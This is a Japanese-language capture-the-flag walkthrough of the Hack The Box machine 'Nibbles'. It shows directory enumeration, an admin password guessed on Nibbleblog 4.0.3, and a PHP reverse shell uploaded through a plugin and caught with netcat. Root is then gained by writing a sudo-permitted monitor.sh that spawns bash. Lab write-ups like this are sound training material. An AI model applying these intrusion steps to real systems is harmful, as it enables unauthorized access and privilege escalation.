[Hack The Box]Nibblesをやってみた

Nibbleとは「少しずつかじる、ちびちび飲む」の意味だそうです。🐭
情報取集してみる
Spartaでポートスキャンします。

Webサイトをのぞきます。Hello world

ソースコードを表示します。

コメントされているディレクトリにアクセスします。powered by Nibbleblogと書いてあります。

DirbでNibblelogディレクトリ下を調べてみます。
dirb http://10.10.10.75/nibbleblog/
いろいろ見つかりました。
— — Scanning URL: http://10.10.10.75/nibbleblog/ — —
==> DIRECTORY: http://10.10.10.75/nibbleblog/admin/
+ http://10.10.10.75/nibbleblog/admin.php (CODE:200|SIZE:1401)
==> DIRECTORY: http://10.10.10.75/nibbleblog/content/
+ http://10.10.10.75/nibbleblog/index.php (CODE:200|SIZE:2987)
==> DIRECTORY: http://10.10.10.75/nibbleblog/languages/
==> DIRECTORY: http://10.10.10.75/nibbleblog/plugins/
+ http://10.10.10.75/nibbleblog/README (CODE:200|SIZE:4628)
==> DIRECTORY: http://10.10.10.75/nibbleblog/themes/
admin.phpはログインページです。

さらにごそごそ探すとユーザ名がadminであることがわかりました。
root@kali:~# curl http://10.10.10.75/nibbleblog/content/private/users.xml
<?xml version=”1.0" encoding=”UTF-8" standalone=”yes”?>
<users><user username=”admin”><id type=”integer”>0</id>
READMEは説明書みたいなファイルです。READMEを読んでみます。
curl http://10.10.10.75/nibbleblog/README
Nibbleblogのバージョンは4.0.3ということがわかりました。
root@kali:~# curl http://10.10.10.75/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014–04–01Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
Nibbleblogの脆弱性をついてみる
Nibbleblog 4.0.3をググります。

Wikihakというブログにシェルをアップロードする方法が書いてあります。

ブログのとおりやっていきます。がまずAdminページにログインする必要があるようです。ユーザ名はadminと分かってますがパスワードが分かりません。テキトウに何個か試したらログインできました。パスワードはnibblesです。

Plugins →My image → Configureに移動してPentestmonkyのphpリバースシェルをアップロードします。

ncでリバースシェルを待ち構えます。
nc -lvp 1234
URLにアクセスしてリバースシェルの引き金をひきます。
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
シェルをキャッチできました。😎
root@kali:~# nc -lvp 1234
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
権限を昇格してみる
シェルがとぎれてしまいます。👇このテクニックでシェルをアップグレードします。なぜこうなるのかは正直よく分かりません。
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
CTRL+ Z
stty raw -echo
fg
とりあえずsudo -lします。ノーパスワードでmonitor.shを実行できるようです。
nibbler@Nibbles:/$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
monitor.shが見当たらないんです。
nibbler@Nibbles:/$ cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
monitor.shを自分でつくります。mkdirでフォルダをつくります。
mkdir -p home/nibbler/personal/stuff
つくったフォルダに移動します。
cd /home/nibbler/personal/stuff
viでmonitor.shをつくります。
vi monitor.sh
中身はこれ👇
#!/bin/sh
bash
実行できるように権限をあたえます。
chmod +x monitor.sh
sudoでmonitor.shを走らせます。
monitor.sh
権限昇格できました。🙏
root@Nibbles:/home/nibbler/personal/stuff# id
uid=0(root) gid=0(root) groups=0(root)